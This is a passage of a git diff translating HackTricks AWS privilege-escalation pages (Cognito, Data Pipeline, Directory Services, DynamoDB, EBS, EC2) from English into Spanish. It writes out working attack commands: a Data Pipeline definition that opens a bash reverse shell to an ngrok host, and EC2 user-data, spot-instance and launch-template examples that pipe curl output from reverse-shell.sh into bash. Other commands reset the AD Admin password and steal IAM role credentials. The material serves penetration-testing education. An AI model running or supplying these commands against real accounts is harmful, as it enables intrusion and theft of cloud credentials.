[**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) asignados a ellos, que son información de las sesiones (AWS lo define como un **juego guardado**). Podría ser posible que esto contenga algún tipo de información sensible (pero la probabilidad es bastante baja). Puedes encontrar en la [**página de enumeración**](../aws-services/aws-cognito-enum/) cómo acceder a esta información. -This permission allows to read use information of Identity Pools and Identity IDs inside Identity Pools (which isn't sensitive info).\ -Identity IDs might have [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) assigned to them, which are information of the sessions (AWS define it like a **saved game**). It might be possible that this contain some kind of sensitive information (but the probability is pretty low). You can find in the [**enumeration page**](../aws-services/aws-cognito-enum/) how to access this information. +Un atacante también podría usar estos permisos para **inscribirse en un flujo de Cognito que publica cambios** en estos datasets o una **lambda que se activa en eventos de cognito**. No he visto que esto se use, y no esperaría información sensible aquí, pero no es imposible. -An attacker could also use these permissions to **enroll himself to a Cognito stream that publish changes** on these datases or a **lambda that triggers on cognito events**. I haven't seen this being used, and I wouldn't expect sensitive information here, but it isn't impossible. +### Herramientas Automáticas -### Automatic Tools +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), el marco de explotación de AWS, ahora incluye los módulos "cognito\_\_enum" y "cognito\_\_attack" que automatizan la enumeración de todos los activos de Cognito en una cuenta y marcan configuraciones débiles, atributos de usuario utilizados para el control de acceso, etc., y también automatizan la creación de usuarios (incluido el soporte MFA) y la escalada de privilegios basada en atributos personalizados modificables, credenciales de grupo de identidades utilizables, roles asumibles en tokens de id, etc. -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc. +Para una descripción de las funciones de los módulos, consulta la parte 2 de la [entrada del blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instrucciones de instalación, consulta la página principal de [Pacu](https://github.com/RhinoSecurityLabs/pacu). -For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. - -#### Usage - -Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: +#### Uso +Ejemplo de uso de cognito\_\_attack para intentar la creación de usuarios y todos los vectores de privesc contra un grupo de identidades y cliente de grupo de usuarios dados: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: - +Ejemplo de uso de cognito\_\_enum para recopilar todos los grupos de usuarios, clientes de grupos de usuarios, grupos de identidades, usuarios, etc. visibles en la cuenta de AWS actual: ```bash Pacu (new:test) > run cognito__enum ``` +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) es una herramienta CLI en python que implementa diferentes ataques en Cognito, incluyendo una escalación de privilegios. -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including a privesc escalation. - -#### Installation - +#### Instalación ```bash $ pip install cognito-scanner ``` - -#### Usage - +#### Uso ```bash $ cognito-scanner --help ``` - -For more information check [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner) +Para más información, consulta [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md index 82c82682e..b4ee00463 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md @@ -4,7 +4,7 @@ ## datapipeline -For more info about datapipeline check: +Para más información sobre datapipeline, consulta: {{#ref}} ../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -12,67 +12,57 @@ For more info about datapipeline check: ### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline` -Users with these **permissions can escalate privileges by creating a Data Pipeline** to execute arbitrary commands using the **permissions of the assigned role:** - +Los usuarios con estos **permisos pueden escalar privilegios creando un Data Pipeline** para ejecutar comandos arbitrarios utilizando los **permisos del rol asignado:** ```bash aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string ``` - -After pipeline creation, the attacker updates its definition to dictate specific actions or resource creations: - +Después de la creación del pipeline, el atacante actualiza su definición para dictar acciones específicas o creaciones de recursos: ```json { - "objects": [ - { - "id": "CreateDirectory", - "type": "ShellCommandActivity", - "command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'", - "runsOn": { "ref": "instance" } - }, - { - "id": "Default", - "scheduleType": "ondemand", - "failureAndRerunMode": "CASCADE", - "name": "Default", - "role": "assumable_datapipeline", - "resourceRole": "assumable_datapipeline" - }, - { - "id": "instance", - "name": "instance", - "type": "Ec2Resource", - "actionOnTaskFailure": "terminate", - "actionOnResourceFailure": "retryAll", - "maximumRetries": "1", - "instanceType": "t2.micro", - "securityGroups": ["default"], - "role": "assumable_datapipeline", - "resourceRole": "assumable_ec2_profile_instance" - } - ] +"objects": [ +{ +"id": "CreateDirectory", +"type": "ShellCommandActivity", +"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'", +"runsOn": { "ref": "instance" } +}, +{ +"id": "Default", +"scheduleType": "ondemand", +"failureAndRerunMode": "CASCADE", +"name": "Default", +"role": "assumable_datapipeline", +"resourceRole": "assumable_datapipeline" +}, +{ +"id": "instance", +"name": "instance", +"type": "Ec2Resource", +"actionOnTaskFailure": "terminate", +"actionOnResourceFailure": "retryAll", +"maximumRetries": "1", +"instanceType": "t2.micro", +"securityGroups": ["default"], +"role": "assumable_datapipeline", +"resourceRole": "assumable_ec2_profile_instance" +} +] } ``` - > [!NOTE] -> Note that the **role** in **line 14, 15 and 27** needs to be a role **assumable by datapipeline.amazonaws.com** and the role in **line 28** needs to be a **role assumable by ec2.amazonaws.com with a EC2 profile instance**. +> Tenga en cuenta que el **rol** en **la línea 14, 15 y 27** debe ser un rol **asumible por datapipeline.amazonaws.com** y el rol en **la línea 28** debe ser un **rol asumible por ec2.amazonaws.com con un perfil de instancia EC2**. > -> Moreover, the EC2 instance will only have access to the role assumable by the EC2 instance (so you can only steal that one). - +> Además, la instancia EC2 solo tendrá acceso al rol asumible por la instancia EC2 (por lo que solo puede robar ese). ```bash aws datapipeline put-pipeline-definition --pipeline-id \ - --pipeline-definition file:///pipeline/definition.json +--pipeline-definition file:///pipeline/definition.json ``` +El **archivo de definición de pipeline, elaborado por el atacante, incluye directivas para ejecutar comandos** o crear recursos a través de la API de AWS, aprovechando los permisos de rol del Data Pipeline para potencialmente obtener privilegios adicionales. -The **pipeline definition file, crafted by the attacker, includes directives to execute commands** or create resources via the AWS API, leveraging the Data Pipeline's role permissions to potentially gain additional privileges. +**Impacto Potencial:** Privesc directo al rol de servicio ec2 especificado. -**Potential Impact:** Direct privesc to the ec2 service role specified. - -## References +## Referencias - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md index ce24095ed..5abeb615e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Directory Services +## Servicios de Directorio -For more info about directory services check: +Para más información sobre los servicios de directorio, consulta: {{#ref}} ../aws-services/aws-directory-services-workdocs-enum.md @@ -12,27 +12,21 @@ For more info about directory services check: ### `ds:ResetUserPassword` -This permission allows to **change** the **password** of any **existent** user in the Active Directory.\ -By default, the only existent user is **Admin**. - +Este permiso permite **cambiar** la **contraseña** de cualquier **usuario existente** en el Active Directory.\ +Por defecto, el único usuario existente es **Admin**. ``` aws ds reset-user-password --directory-id --user-name Admin --new-password Newpassword123. ``` - ### AWS Management Console -It's possible to enable an **application access URL** that users from AD can access to login: +Es posible habilitar una **URL de acceso a la aplicación** a la que los usuarios de AD pueden acceder para iniciar sesión:
-And then **grant them an AWS IAM role** for when they login, this way an AD user/group will have access over AWS management console: +Y luego **otorgarles un rol de AWS IAM** para cuando inicien sesión, de esta manera un usuario/grupo de AD tendrá acceso a la consola de administración de AWS:
-There isn't apparently any way to enable the application access URL, the AWS Management Console and grant permission +Aparentemente no hay forma de habilitar la URL de acceso a la aplicación, la consola de administración de AWS y otorgar permisos. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index b4af46712..372742744 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -4,24 +4,20 @@ ## dynamodb -For more info about dynamodb check: +Para más información sobre dynamodb, consulta: {{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}} -### Post Exploitation +### Post Explotación -As far as I know there is **no direct way to escalate privileges in AWS just by having some AWS `dynamodb` permissions**. You can **read sensitive** information from the tables (which could contain AWS credentials) and **write information on the tables** (which could trigger other vulnerabilities, like lambda code injections...) but all these options are already considered in the **DynamoDB Post Exploitation page**: +Hasta donde sé, **no hay una forma directa de escalar privilegios en AWS solo por tener algunos permisos de AWS `dynamodb`**. Puedes **leer información sensible** de las tablas (que podrían contener credenciales de AWS) y **escribir información en las tablas** (lo que podría desencadenar otras vulnerabilidades, como inyecciones de código lambda...) pero todas estas opciones ya están consideradas en la **página de Post Explotación de DynamoDB**: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md {{#endref}} -### TODO: Read data abusing data Streams +### TODO: Leer datos abusando de Streams de datos {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md index 36ea3bc53..e29e43b37 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md @@ -6,26 +6,22 @@ ### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots` -An attacker with those will be able to potentially **download and analyze volumes snapshots locally** and search for sensitive information in them (like secrets or source code). Find how to do this in: +Un atacante con esos permisos podrá **descargar y analizar instantáneas de volúmenes localmente** y buscar información sensible en ellas (como secretos o código fuente). Encuentra cómo hacer esto en: {{#ref}} ../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md {{#endref}} -Other permissions might be also useful such as: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` +Otros permisos también pueden ser útiles, como: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` -The tool [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) performs this attack to e**xtract passwords from a domain controller**. +La herramienta [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) realiza este ataque para **extraer contraseñas de un controlador de dominio**. -**Potential Impact:** Indirect privesc by locating sensitive information in the snapshot (you could even get Active Directory passwords). +**Impacto Potencial:** Privesc indirecto al localizar información sensible en la instantánea (incluso podrías obtener contraseñas de Active Directory). ### **`ec2:CreateSnapshot`** -Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the hashes of all domain users by creating a **snapshot of the Domain Controller** mounting it to an instance they control and **exporting the NTDS.dit and SYSTEM** registry hive file for use with Impacket's secretsdump project. +Cualquier usuario de AWS que posea el permiso **`EC2:CreateSnapshot`** puede robar los hashes de todos los usuarios del dominio creando una **instantánea del Controlador de Dominio**, montándola en una instancia que controlan y **exportando el archivo NTDS.dit y el registro SYSTEM** para su uso con el proyecto secretsdump de Impacket. -You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot. +Puedes usar esta herramienta para automatizar el ataque: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) o podrías usar una de las técnicas anteriores después de crear una instantánea. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index ad31bde00..338da7a21 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -4,7 +4,7 @@ ## EC2 -For more **info about EC2** check: +Para más **info sobre EC2** consulta: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,51 +12,46 @@ For more **info about EC2** check: ### `iam:PassRole`, `ec2:RunInstances` -An attacker could **create and instance attaching an IAM role and then access the instance** to steal the IAM role credentials from the metadata endpoint. +Un atacante podría **crear una instancia adjuntando un rol de IAM y luego acceder a la instancia** para robar las credenciales del rol de IAM desde el punto final de metadatos. -- **Access via SSH** - -Run a new instance using a **created** **ssh key** (`--key-name`) and then ssh into it (if you want to create a new one you might need to have the permission `ec2:CreateKeyPair`). +- **Acceso a través de SSH** +Ejecuta una nueva instancia usando una **clave ssh** **creada** (`--key-name`) y luego accede a ella por ssh (si deseas crear una nueva, es posible que necesites tener el permiso `ec2:CreateKeyPair`). ```bash aws ec2 run-instances --image-id --instance-type t2.micro \ - --iam-instance-profile Name= --key-name \ - --security-group-ids +--iam-instance-profile Name= --key-name \ +--security-group-ids ``` +- **Acceso a través de rev shell en datos de usuario** -- **Access via rev shell in user data** - -You can run a new instance using a **user data** (`--user-data`) that will send you a **rev shell**. You don't need to specify security group this way. - +Puedes ejecutar una nueva instancia utilizando **datos de usuario** (`--user-data`) que te enviará un **rev shell**. No necesitas especificar el grupo de seguridad de esta manera. ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh aws ec2 run-instances --image-id --instance-type t2.micro \ - --iam-instance-profile Name=E \ - --count 1 \ - --user-data "file:///tmp/rev.sh" +--iam-instance-profile Name=E \ +--count 1 \ +--user-data "file:///tmp/rev.sh" ``` - -Be careful with GuradDuty if you use the credentials of the IAM role outside of the instance: +Ten cuidado con GuardDuty si usas las credenciales del rol IAM fuera de la instancia: {{#ref}} ../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md {{#endref}} -**Potential Impact:** Direct privesc to a any EC2 role attached to existing instance profiles. +**Impacto Potencial:** Privesc directo a cualquier rol de EC2 adjunto a perfiles de instancia existentes. -#### Privesc to ECS - -With this set of permissions you could also **create an EC2 instance and register it inside an ECS cluster**. This way, ECS **services** will be **run** in inside the **EC2 instance** where you have access and then you can penetrate those services (docker containers) and **steal their ECS roles attached**. +#### Privesc a ECS +Con este conjunto de permisos también podrías **crear una instancia de EC2 y registrarla dentro de un clúster de ECS**. De esta manera, los **servicios** de ECS se **ejecutarán** dentro de la **instancia de EC2** a la que tienes acceso y luego podrás penetrar esos servicios (contenedores de docker) y **robar sus roles de ECS adjuntos**. ```bash aws ec2 run-instances \ - --image-id ami-07fde2ae86109a2af \ - --instance-type t2.micro \ - --iam-instance-profile \ - --count 1 --key-name pwned \ - --user-data "file:///tmp/asd.sh" +--image-id ami-07fde2ae86109a2af \ +--instance-type t2.micro \ +--iam-instance-profile \ +--count 1 --key-name pwned \ +--user-data "file:///tmp/asd.sh" # Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs) # The EC2 instance profile needs basic ECS access @@ -64,22 +59,20 @@ aws ec2 run-instances \ #!/bin/bash echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; ``` - -To learn how to **force ECS services to be run** in this new EC2 instance check: +Para aprender a **forzar los servicios de ECS a ejecutarse** en esta nueva instancia de EC2, consulta: {{#ref}} aws-ecs-privesc.md {{#endref}} -If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack. +Si **no puedes crear una nueva instancia** pero tienes el permiso `ecs:RegisterContainerInstance`, podrías ser capaz de registrar la instancia dentro del clúster y realizar el ataque comentado. -**Potential Impact:** Direct privesc to ECS roles attached to tasks. +**Impacto Potencial:** Privesc directo a los roles de ECS adjuntos a las tareas. ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** -Similar to the previous scenario, an attacker with these permissions could **change the IAM role of a compromised instance** so he could steal new credentials.\ -As an instance profile can only have 1 role, if the instance profile **already has a role** (common case), you will also need **`iam:RemoveRoleFromInstanceProfile`**. - +Similar al escenario anterior, un atacante con estos permisos podría **cambiar el rol de IAM de una instancia comprometida** para poder robar nuevas credenciales.\ +Como un perfil de instancia solo puede tener 1 rol, si el perfil de instancia **ya tiene un rol** (caso común), también necesitarás **`iam:RemoveRoleFromInstanceProfile`**. ```bash # Removing role from instance profile aws iam remove-role-from-instance-profile --instance-profile-name --role-name @@ -87,60 +80,50 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` +Si el **perfil de instancia tiene un rol** y el atacante **no puede eliminarlo**, hay otra solución. Podría **encontrar** un **perfil de instancia sin un rol** o **crear uno nuevo** (`iam:CreateInstanceProfile`), **agregar** el **rol** a ese **perfil de instancia** (como se discutió anteriormente) y **asociar el perfil de instancia** comprometido a una i**nstance comprometida:** -If the **instance profile has a role** and the attacker **cannot remove it**, there is another workaround. He could **find** an **instance profile without a role** or **create a new one** (`iam:CreateInstanceProfile`), **add** the **role** to that **instance profile** (as previously discussed), and **associate the instance profile** compromised to a compromised i**nstance:** - -- If the instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`) \* - +- Si la instancia **no tiene ningún perfil de instancia** (`ec2:AssociateIamInstanceProfile`) \* ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` - -**Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status). +**Impacto Potencial:** Privesc directo a un rol EC2 diferente (necesitas haber comprometido una instancia AWS EC2 y tener algunos permisos adicionales o un estado específico del perfil de instancia). ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) -With these permissions it's possible to change the instance profile associated to an instance so if the attack had already access to an instance he will be able to steal credentials for more instance profile roles changing the one associated with it. - -- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it \* +Con estos permisos es posible cambiar el perfil de instancia asociado a una instancia, por lo que si el ataque ya tenía acceso a una instancia, podrá robar credenciales para más roles de perfil de instancia cambiando el asociado a ella. +- Si **tiene un perfil de instancia**, puedes **eliminar** el perfil de instancia (`ec2:DisassociateIamInstanceProfile`) y **asociarlo** \* ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` - -- or **replace** the **instance profile** of the compromised instance (`ec2:ReplaceIamInstanceProfileAssociation`). \* - +- o **reemplazar** el **perfil de instancia** de la instancia comprometida (`ec2:ReplaceIamInstanceProfileAssociation`). \* ```` ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` ```` - -**Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status). +**Impacto Potencial:** Privesc directo a un rol de EC2 diferente (necesitas haber comprometido una instancia de AWS EC2 y tener algunos permisos adicionales o un estado específico del perfil de instancia). ### `ec2:RequestSpotInstances`,`iam:PassRole` -An attacker with the permissions **`ec2:RequestSpotInstances`and`iam:PassRole`** can **request** a **Spot Instance** with an **EC2 Role attached** and a **rev shell** in the **user data**.\ -Once the instance is run, he can **steal the IAM role**. - +Un atacante con los permisos **`ec2:RequestSpotInstances`y`iam:PassRole`** puede **solicitar** una **Instancia Spot** con un **Rol de EC2 adjunto** y un **rev shell** en los **datos del usuario**.\ +Una vez que la instancia se ejecute, puede **robar el rol de IAM**. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash ' | base64) aws ec2 request-spot-instances \ - --instance-count 1 \ - --launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" +--instance-count 1 \ +--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" ``` - ### `ec2:ModifyInstanceAttribute` -An attacker with the **`ec2:ModifyInstanceAttribute`** can modify the instances attributes. Among them, he can **change the user data**, which implies that he can make the instance **run arbitrary data.** Which can be used to get a **rev shell to the EC2 instance**. - -Note that the attributes can only be **modified while the instance is stopped**, so the **permissions** **`ec2:StopInstances`** and **`ec2:StartInstances`**. +Un atacante con el **`ec2:ModifyInstanceAttribute`** puede modificar los atributos de las instancias. Entre ellos, puede **cambiar los datos del usuario**, lo que implica que puede hacer que la instancia **ejecute datos arbitrarios.** Esto se puede utilizar para obtener un **rev shell a la instancia EC2**. +Tenga en cuenta que los atributos solo se pueden **modificar mientras la instancia está detenida**, por lo que los **permisos** **`ec2:StopInstances`** y **`ec2:StartInstances`**. ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 @@ -171,125 +154,110 @@ printf $TEXT | base64 > "$TEXT_PATH" aws ec2 stop-instances --instance-ids $INSTANCE_ID aws ec2 modify-instance-attribute \ - --instance-id="$INSTANCE_ID" \ - --attribute userData \ - --value file://$TEXT_PATH +--instance-id="$INSTANCE_ID" \ +--attribute userData \ +--value file://$TEXT_PATH aws ec2 start-instances --instance-ids $INSTANCE_ID ``` - -**Potential Impact:** Direct privesc to any EC2 IAM Role attached to a created instance. +**Impacto Potencial:** Privesc directo a cualquier Rol IAM de EC2 adjunto a una instancia creada. ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -An attacker with the permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** can create a **new Launch Template version** with a **rev shell in** the **user data** and **any EC2 IAM Role on it**, change the default version, and **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** will **re-run the instances** using that template and will execute the rev shell. - +Un atacante con los permisos **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`y `ec2:ModifyLaunchTemplate`** puede crear una **nueva versión de Plantilla de Lanzamiento** con un **rev shell en** los **datos del usuario** y **cualquier Rol IAM de EC2 en él**, cambiar la versión predeterminada, y **cualquier grupo de Autoscaler** **usando** esa **Plantilla de Lanzamiento** que está **configurada** para usar la **última** o la **versión predeterminada** volverá a **ejecutar las instancias** usando esa plantilla y ejecutará el rev shell. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash ' | base64) aws ec2 create-launch-template-version \ - --launch-template-name bad_template \ - --launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" +--launch-template-name bad_template \ +--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" aws ec2 modify-launch-template \ - --launch-template-name bad_template \ - --default-version 2 +--launch-template-name bad_template \ +--default-version 2 ``` - -**Potential Impact:** Direct privesc to a different EC2 role. +**Impacto Potencial:** Privesc directo a un rol EC2 diferente. ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` -An attacker with the permissions **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** can **create a Launch Configuration** with an **IAM Role** and a **rev shell** inside the **user data**, then **create an autoscaling group** from that config and wait for the rev shell to **steal the IAM Role**. - +Un atacante con los permisos **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** puede **crear una Configuración de Lanzamiento** con un **Rol IAM** y un **rev shell** dentro de los **datos del usuario**, luego **crear un grupo de escalado automático** a partir de esa configuración y esperar a que el rev shell **robe el Rol IAM**. ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ - --launch-configuration-name bad_config \ - --image-id ami-0c1bc246476a5572b \ - --instance-type t3.micro \ - --iam-instance-profile EC2-CloudWatch-Agent-Role \ - --user-data "$REV" +--launch-configuration-name bad_config \ +--image-id ami-0c1bc246476a5572b \ +--instance-type t3.micro \ +--iam-instance-profile EC2-CloudWatch-Agent-Role \ +--user-data "$REV" aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ - --auto-scaling-group-name bad_auto \ - --min-size 1 --max-size 1 \ - --launch-configuration-name bad_config \ - --desired-capacity 1 \ - --vpc-zone-identifier "subnet-e282f9b8" +--auto-scaling-group-name bad_auto \ +--min-size 1 --max-size 1 \ +--launch-configuration-name bad_config \ +--desired-capacity 1 \ +--vpc-zone-identifier "subnet-e282f9b8" ``` - -**Potential Impact:** Direct privesc to a different EC2 role. +**Impacto Potencial:** Privesc directo a un rol EC2 diferente. ### `!autoscaling` -The set of permissions **`ec2:CreateLaunchTemplate`** and **`autoscaling:CreateAutoScalingGroup`** **aren't enough to escalate** privileges to an IAM role because in order to attach the role specified in the Launch Configuration or in the Launch Template **you need to permissions `iam:PassRole`and `ec2:RunInstances`** (which is a known privesc). +El conjunto de permisos **`ec2:CreateLaunchTemplate`** y **`autoscaling:CreateAutoScalingGroup`** **no son suficientes para escalar** privilegios a un rol IAM porque para adjuntar el rol especificado en la Configuración de Lanzamiento o en la Plantilla de Lanzamiento **necesitas los permisos `iam:PassRole` y `ec2:RunInstances`** (lo cual es un privesc conocido). ### `ec2-instance-connect:SendSSHPublicKey` -An attacker with the permission **`ec2-instance-connect:SendSSHPublicKey`** can add an ssh key to a user and use it to access it (if he has ssh access to the instance) or to escalate privileges. - +Un atacante con el permiso **`ec2-instance-connect:SendSSHPublicKey`** puede agregar una clave ssh a un usuario y usarla para acceder (si tiene acceso ssh a la instancia) o para escalar privilegios. ```bash aws ec2-instance-connect send-ssh-public-key \ - --instance-id "$INSTANCE_ID" \ - --instance-os-user "ec2-user" \ - --ssh-public-key "file://$PUBK_PATH" +--instance-id "$INSTANCE_ID" \ +--instance-os-user "ec2-user" \ +--ssh-public-key "file://$PUBK_PATH" ``` - -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances. +**Impacto Potencial:** Privesc directo a los roles IAM de EC2 adjuntos a las instancias en ejecución. ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` -An attacker with the permission **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** can **add an ssh key to a serial connection**. If the serial is not enable, the attacker needs the permission **`ec2:EnableSerialConsoleAccess` to enable it**. - -In order to connect to the serial port you also **need to know the username and password of a user** inside the machine. +Un atacante con el permiso **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** puede **agregar una clave ssh a una conexión serial**. Si la serial no está habilitada, el atacante necesita el permiso **`ec2:EnableSerialConsoleAccess` para habilitarla**. +Para conectarse al puerto serial, también **necesita conocer el nombre de usuario y la contraseña de un usuario** dentro de la máquina. ```bash aws ec2 enable-serial-console-access aws ec2-instance-connect send-serial-console-ssh-public-key \ - --instance-id "$INSTANCE_ID" \ - --serial-port 0 \ - --region "eu-west-1" \ - --ssh-public-key "file://$PUBK_PATH" +--instance-id "$INSTANCE_ID" \ +--serial-port 0 \ +--region "eu-west-1" \ +--ssh-public-key "file://$PUBK_PATH" ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` +De esta manera, no es 